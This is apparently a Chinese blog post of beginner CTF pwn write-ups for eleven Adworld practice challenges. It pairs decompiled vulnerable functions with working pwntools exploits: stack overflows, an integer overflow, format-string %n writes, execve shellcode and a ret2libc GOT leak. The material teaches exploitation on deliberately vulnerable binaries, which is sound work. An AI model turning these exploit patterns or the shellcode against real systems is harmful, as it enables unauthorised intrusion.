攻防世界 Pwn 新手

原创

yongbaoii 于 2020-10-04 10:01:01 发布 1858 收藏 8

分类专栏： CTF 文章标签： 安全

本文链接：https://blog.csdn.net/yongbaoii/article/details/108916300

是一个总结与汇总，会把见到的思路，想法，wp都记录下来，并进行简单的分类

这里面的每个题我都没有去检查保护，太麻烦，新手区也没有需要绕过保护的，最简单的canary绕过也在进阶。

ps：我这里用的是python2.7。如果用python3的话代码会有一个致命的不同，看我的另外一篇博客

字符串编码解决python3 payload='a' +p64(1926)报错问题

01 get_shell

1、nc连接就行

```
wuangwuang@wuangwuang-PC:~/Desktop$ nc 220.249.52.133 35257
ls
bin
dev
flag
get_shell
lib
lib32
lib64
cat flag
cyberpeace{ac50687a7f80b6891f23b6d4526e768c}
```


2、简单的exp

```
from pwn import*
r=remote("220.249.52.133",35257)
r.interactive()
```

02 hello_pwn

```
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  alarm(0x3Cu);
  setbuf(stdout, 0LL);
  puts("~~ welcome to ctf ~~      ");
  puts("lets get helloworld for bof");
  read(0, &unk_601068, 16uLL);
  if ( dword_60106C == 1853186401 )
    sub_400686();
  return 0LL;
}
```


最最简单的栈溢出

```
from pwn import*
r=remote("220.249.52.133",30174)
payload='aaaa'+p32(1853186401)
r.sendlineafter("bof",payload)
r.interactive()
```

03 when_did_you_born

```
puts("What's Your Birth?");
__isoc99_scanf("%d", &v5);
while ( getchar() != 10 )
  ;
if ( v5 == 1926 )
{
  puts("You Cannot Born In 1926!");
  result = 0LL;
}
else
{
  puts("What's Your Name?");
  gets(&v4);
  printf("You Are Born In %d\n", v5);
  if ( v5 == 1926 )
  {
    puts("You Shall Have Flag.");
    system("cat flag");
  }
  else
  {
    puts("You Are Naive.");
    puts("You Speed One Second Here.");
  }
  result = 0LL;
}
return result;
```


栈溢出覆盖变量就行

```
from pwn import*
r=remote("220.249.52.133",56940)
r.sendlineafter("Birth?",'1234')
payload='aaaaaaaa'+p32(1926)
r.sendlineafter("Name?",payload)
r.interactive()
```

04 level0

```
1 ssize_t vulnerable_function()
2 {
3   char buf; // [rsp+0h] [rbp-80h]
4
5   return read(0, &buf, 0x200uLL);
6 }
```


简单的栈溢出，找一下后门函数 system

```
from pwn import*
r=remote("220.249.52.133",42821)
payload='a'*0x88+p64(0x400596)
r.sendline(payload)
r.interactive()
```

这个倒是要注意 它程序里面是write函数的时候不用r.recv()

05 level2

```
1 ssize_t vulnerable_function()
2 {
3   char buf; // [esp+0h] [ebp-88h]
4
5   system("echo Input:");
6   return read(0, &buf, 0x100u);
7 }
```

栈溢出 需要找一下system参数

```
from pwn import*
r=remote("220.249.52.133",52591)
payload='a'*0x88+'aaaa' + p32(0x8048320) + 'aaaa'+p32(0x804a024)
r.sendline(payload)
r.interactive()
```

但是发现个好玩的，如果将代码改成这样就会报错

```
from pwn import*
r=remote("220.249.52.133",52591)
payload='a'*0x88+'aaaa' + p64(0x8048320) + 'aaaa'+p32(0x804a024)
#这里的后面四个a是system函数的返回地址，跟下一个cgpwn2一样的
r.sendline(payload)
r.interactive()
```

```
[+] Opening connection to 220.249.52.133 on port 52591: Done
[*] Switching to interactive mode
Input:
[*] Got EOF while reading in interactive
$
```

报错 因为 p32的话 是0x12121212 但是p64的话就是0x1212121200000000

这在其他题目中不明显，但是在这个需要覆盖system函数返回地址的地方就体现出来了

system地址本来是4个字 ， 后面接4个a刚好到参数位置

但是p64的话把地址变成8个字 就用不着那4个a了

06 cgpwn2

```
  *v3 = 0;
puts("please tell me your name");
fgets(name, 50, stdin);
puts("hello,you can leave some message here:");
return gets(&s);
```

栈溢出 找后门函数 这个有system 但是函数参数不对，需要自己写进去

```
from pwn import*
#context.log_level="debug"
r=remote("220.249.52.133",41650)
r.sendlineafter("name","/bin/sh")
payload='a'*38 + 'aaaa' + p32(0x8048420) + 'aaaa' + p32(0x804a080)
#这里面后面的‘aaaa’是system的返回地址    要注意了！
r.sendlineafter("here:",payload)
r.interactive()
```

07 int_overflow

栈溢出 整数溢出

```
char *__cdecl check_passwd(char *s)
{
  char *result; // eax
  char dest; // [esp+4h] [ebp-14h]
  unsigned __int8 v3; // [esp+Fh] [ebp-9h]

  v3 = strlen(s);
  if ( v3 <= 3u || v3 > 8u )
  {
    puts("Invalid Password");
    result = (char *)fflush(stdout);
  }
  else
  {
    puts("Success");
    fflush(stdout);
    result = strcpy(&dest, s);
  }
  return result;
}
```



```
char *login()
{
  char buf; // [esp+0h] [ebp-228h]
  char s; // [esp+200h] [ebp-28h]

  memset(&s, 0, 0x20u);
  memset(&buf, 0, 0x200u);
  puts("Please input your username:");
  read(0, &s, 0x19u);
  printf("Hello %s\n", &s);
  puts("Please input your passwd:");
  read(0, &buf, 0x199u);
  return check_passwd(&buf);
}
```



```
from pwn import*
r= remote("220.249.52.133",33712)
r.sendlineafter("Your choice:",'1')
r.sendlineafter("name:","aaaa")
payload='a'*24 + p32(0x804868b) + 'a'*232
#这里是关键，因为它在栈溢出的基础上对payload长度有要求，要求长度在3-8之间
#但是它存放长度的内存为一个字，所以范围只是0-255，所以构造一个长度为260的
r.sendlineafter("passwd:",payload)
r.interactive()
```

08 guess_number

这个题还是很厉害的

```
    setbuf(stderr, 0LL);
    v6 = 0;
    v8 = 0;
    *(_QWORD *)seed = sub_BB0(v3, 0LL);
    puts("--------------------------------");
    puts("Welcome to a guess number game!");
    puts("--------------------------------");
    puts("Please let me know your name!");
    printf("Your name:");
    gets(&v9);
    v4 = (const char *)seed[0];
    srand(seed[0]);
    for ( i = 0; i <= 9; ++i )
    {
      v8 = rand() % 6 + 1;
      printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
      printf("Please input your guess number:");
      __isoc99_scanf("%d", &v6);
      puts("--------------------------------");
      if ( v6 != v8 )
      {
        puts("GG!");
        exit(1);
      }
      v4 = "Success!";
      puts("Success!");
    }
    sub_C3E(v4);
    return 0LL;
  }
```


随机函数生成的随机数并不是真的随机数，他们只是在一定范围内随机，实际上是一段数字的循环，这些数字取决于随机种子。

在调用rand()函数时，必须先利用srand()设好随机数种子，如果未设随机数种子，rand()在调用时会自动设随机数种子为1。

关于ctype库与dll

我们使用python标准库中自带的ctypes模块进行python和c的混合编程

libc共享库

要用到rand（）函数 就在这个共享库中找

也可以

```
elf = ELF('./guess_num')
libc = elf.libc
```

```
from pwn import *
from ctypes import *

io = remote('111.198.29.45','45592')
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
payload = 'a'*32 + p64(1) #这里只有0跟1行……我也不知道为啥
io.sendlineafter('name:',payload)
for i in range(10):
 io.sendlineafter('number:',str(libc.rand()%6 + 1))
io.interactive()
```

09 CGfsb

格式化字符串漏洞

```
v8 = __readgsdword(0x14u);
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
buf = 0;
v5 = 0;
v6 = 0;
memset(&s, 0, 0x64u);
puts("please tell me your name:");
read(0, &buf, 0xAu);
puts("leave your message please:");
fgets(&s, 100, stdin);
printf("hello %s", &buf);
puts("your message is:");
printf(&s);
if ( pwnme == 8 )
{
  puts("you pwned me, here is your flag:\n");
  system("cat flag");
}
else
{
  puts("Thank you!");
}
return 0;
```


基础知识来一手

%x：输出16进制数据，如%i$x表示要泄漏偏移i处4字节长的16进制数据，%i$lx表示要泄漏偏移i处8字节长的16进制数据，32bit和64bit环境下一样。

%p：输出16进制数据，与%x基本一样，只是附加了前缀0x，在32bit下输出4字节，在64bit下输出8字节，可通过输出字节的长度来判断目标环境是32bit还是64bit。

%s：输出的内容是字符串，即将偏移处指针指向的字符串输出，如%i$s表示输出偏移i处地址所指向的字符串，在32bit和64bit环境下一样，可用于读取GOT表等信息。

%n：将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置，如%100×10$n表示将0x64写入偏移10处保存的指针所指向的地址（4字节)，而%$hn表示写入的地址空间为2字节，%$hhn表示写入的地址空间为1字节，%$lln表示写入的地址空间为8字节，在32bit和64bit环境下一样。

有时，直接写4字节会导致程序崩溃或等候时间过长，可以通过%$hn或%$hhn来适时调整。

%n是通过格式化字符串漏洞改变程序流程的关键方式，而其他格式化字符串参数可用于读取信息或配合%n写数据。

所以先看printf指针偏移多少

这里也要考虑32位与64位

32位的话就‘AAAA’

64位的话就‘AAAAAAAA’

```
please tell me your name:
aa
leave your message please:
AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
hello aa
your message is:
AAAA-0xffa9355e-0xf7f485c0-0x1-(nil)-0x1-0xf7f98950-0x616100c2-0xa-(nil)-0x41414141-0x2d70252d-0x252
d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025
Thank you!
```

偏移10

```python
from pwn import*
r=remote("220.249.52.133",55983)
r.sendlineafter("name:","name")
payload = p32(0x804a068)+'aaaa'+'%10$n'
#这里构造这玩意有好多种形式
#payload=p32(0x0804a068)+"%04c%10$n"
r.sendlineafter("please:",payload)
r.recv()
r.interactive()
```

10 string

喔唷 这个题我感觉是新手区最烦的一个题
字符串格式化漏洞 指针函数强制转换漏洞

```
puts("go into there(1), or leave(0)?:");
_isoc99_scanf("%d", &v1);
if ( v1 == 1 )
{
  puts("A voice heard in your mind");
  puts("'Give me an address'");
  _isoc99_scanf("%ld", &v2);
  puts("And, you wish is:");
  _isoc99_scanf("%s", &format);
  puts("Your wish is");
  printf(&format, &format);
  puts("I hear it, I hear it....");
}
return __readfsqword(0x28u) ^ v4;
```


发现这里有个字符串格式化漏洞

```
1 unsigned __int64 __fastcall sub_400CA6(_DWORD *a1)
2 {
3   void *v1; // rsi
4   unsigned __int64 v3; // [rsp+18h] [rbp-8h]
5
6   v3 = __readfsqword(0x28u);
7   puts("Ahu!!!!!!!!!!!!!!!A Dragon has appeared!!");
8   puts("Dragon say: HaHa! you were supposed to have a normal");
9   puts("RPG game, but I have changed it! you have no weapon and ");
10  puts("skill! you could not defeat me !");
11  puts("That's sound terrible! you meet final boss!but you level is ONE!");
12  if ( *a1 == a1[1] )
13  {
14    puts("Wizard: I will help you! USE YOU SPELL");
15    v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL);
16    read(0, v1, 0x100uLL);
17    ((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1);
18  }
19  return __readfsqword(0x28u) ^ v3;
20 }
```


发现这里函数指针强制转换为指针函数，会把它当作一个函数，执行这里的代码。

```
[DEBUG] Received 0x11 bytes:
    'And, you wish is:'
[DEBUG] Sent 0x3c bytes:
    'AAAAAAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p\n'
[*] Switching to interactive mode
[DEBUG] Received 0x1 bytes:
    '\n'

[DEBUG] Received 0x247 bytes:
    'Your wish is\n'
    'AAAAAAAA-0x7efe82a176a3-0x7efe82a18780-0x7efe827492c0-0x7efe82c3f700-0x7efe82c3f700-0x10000
-0x1071010-0x4141414141414141-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d702
)252d-0x2d70252d70252d70-0x70252d70252d7025-0x7efe0070252d-(nil)-0x7ffe341e1d00I hear it, I hear
...\n'
    'Ahu!!!!!!!!!!!!!!!A Dragon has appeared!!\n'
    'Dragon say: HaHa! you were supposed to have a normal\n'
    'RPG game, but I have changed it! you have no weapon and \n'
    'skill! you could not defeat me !\n'
    "That's sound terrible! you meet final boss!but you level is ONE!\n"
    'The End.....Really?\n'
Your wish is
AAAAAAAA-0x7efe82a176a3-0x7efe82a18780-0x7efe827492c0-0x7efe82c3f700-0x7efe82c3f700-0x100000022-
71010-0x4141414141414141-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70
-0x2d70252d70252d70-0x70252d70252d7025-0x7efe0070252d-(nil)-0x7ffe341e1d00I hear it, I hear it..
Ahu!!!!!!!!!!!!!!!A Dragon has appeared!!
Dragon say: HaHa! you were supposed to have a normal
RPG game, but I have changed it! you have no weapon and
skill! you could not defeat me !
That's sound terrible! you meet final boss!but you level is ONE!
The End.....Really?
[*] Got EOF while reading in interactive
$
```


查一下偏移 这里就是64位拿‘AAAAAAAA’去查

```python
# -*- coding: utf-8 -*-
from pwn import*
context.log_level = "debug"
#r=remote("220.249.52.133",33503)
r = process('./string')
#gdb.attach(r, 'b *0x400E5D')
r.recvuntil("secret[0] is ")
addr_4=int(r.recvuntil('\n')[:-1],16)  #这个地方要注意    那最后那个‘\n’去掉
r.sendlineafter("be:","yongbao")
r.sendlineafter("up?","east")
r.sendlineafter("leave(0)?:\n", '1')
r.sendlineafter("'Give me an address'", str(int(addr_4)))  #记得再转回来

r.sendlineafter("And, you wish is:", '%85c%7$n')
shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
            #这个要注意，它要的是机器码
r.sendafter("USE YOU SPELL", shellcode)
r.interactive()
```

上面这个exp要注意一下shellcode
因为也可以这样写

exp2

```python
# -*- coding: utf-8 -*-
from pwn import*
context(log_level = 'debug', arch = 'amd64', os = 'linux')
#r=remote("220.249.52.133",33503)
r = process('./string')
#gdb.attach(r, 'b *0x400E5D')
r.recvuntil("secret[0] is ")
addr_4=int(r.recvuntil('\n')[:-1],16)  #这个地方要注意    那最后那个‘\n’去掉
r.sendlineafter("be:","yongbao")
r.sendlineafter("up?","east")
r.sendlineafter("leave(0)?:\n", '1')
r.sendlineafter("'Give me an address'", str(int(addr_4)))  #记得再转回来

r.sendlineafter("And, you wish is:", '%85c%7$n')
shellcode = asm(shellcraft.sh())              #这个要注意，它要的是机器码
r.sendafter("USE YOU SPELL", shellcode)
r.interactive()
```

11 level3

这个题我一直不想写 我感觉它是最难的 需要调那个libc库 因为没有后门函数
还要用到got跟plt 可以先模仿着写一下 关于程序动态调用，装载，got跟plt之后看了书再说

```
ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  write(1, "Input:\n", 7u);
  return read(0, &buf, 0x100u);
}
```

```python
# coding=utf-8
from pwn import*
r=remote("220.249.52.133",52569)
#context.log_level="debug"
elf=ELF('./level3') #获取文件对象
libc=ELF('./libc_32.so.6')#获取lib库对象
#获取函数
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=elf.sym['main']
#接受数据
r.recvuntil(":\n")
#char[88] ebp  write函数地址  write函数返回地址(返回到main函数)  write函数参数一(1)  write函数参数二(write_got地址)  write函数参数三(写4字节)
payload=0x88*'a'+p32(0xdeadbeef)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
r.sendline(payload)
#获取write在got中的地址
write_got_addr=u32(r.recv())
#进阶第一页要完了才发现这里有个点
#这个地方必须转一下
#u32跟p32是反的
print hex(write_got_addr)
#计算lib库加载基址
libc_base=write_got_addr-libc.sym['write']
print hex(libc_base)
#计算system的地址
system_addr = libc_base+libc.sym['system']
print hex(system_addr)
#计算字符串 /bin/sh 的地址。0x15902b为偏移,
#通过命令：strings -a -t x libc_32.so.6 | grep "/bin/sh" 获取
bin_sh_addr = libc_base + 0x15902b
print hex(bin_sh_addr)
#       char[88]    ebp             system       system函数的返回地址 system函数的参数(bin_sh_addr)
payload2=0x88*'a'+p32(0xdeadbeef)+p32(system_addr)+p32(0x11111111)+p32(bin_sh_addr)
#接收数据
r.recvuntil(":\n")
#发送payload
r.sendline(payload2)
#切换交互模式
r.interactive()
```

有几句要说的是啥，第一行极其诡异，没有那个话他就报错。
还有下载那个附件的时候它是.gz格式的，在linux环境中居然还要下载个解压软件，还好有360。

最后的总结

这些题里面有一条主线就是后门函数，这也是不可缺少的，从简单到困难，从后门函数直接给你，到后门函数缺斤少两，最后到直接没有后门函数，然后在主线上延申了一些字符串格式化编码啊，整数溢出啊啥的。
之后遇到其他wp会回来补充的.
出错了也会来改的。就这。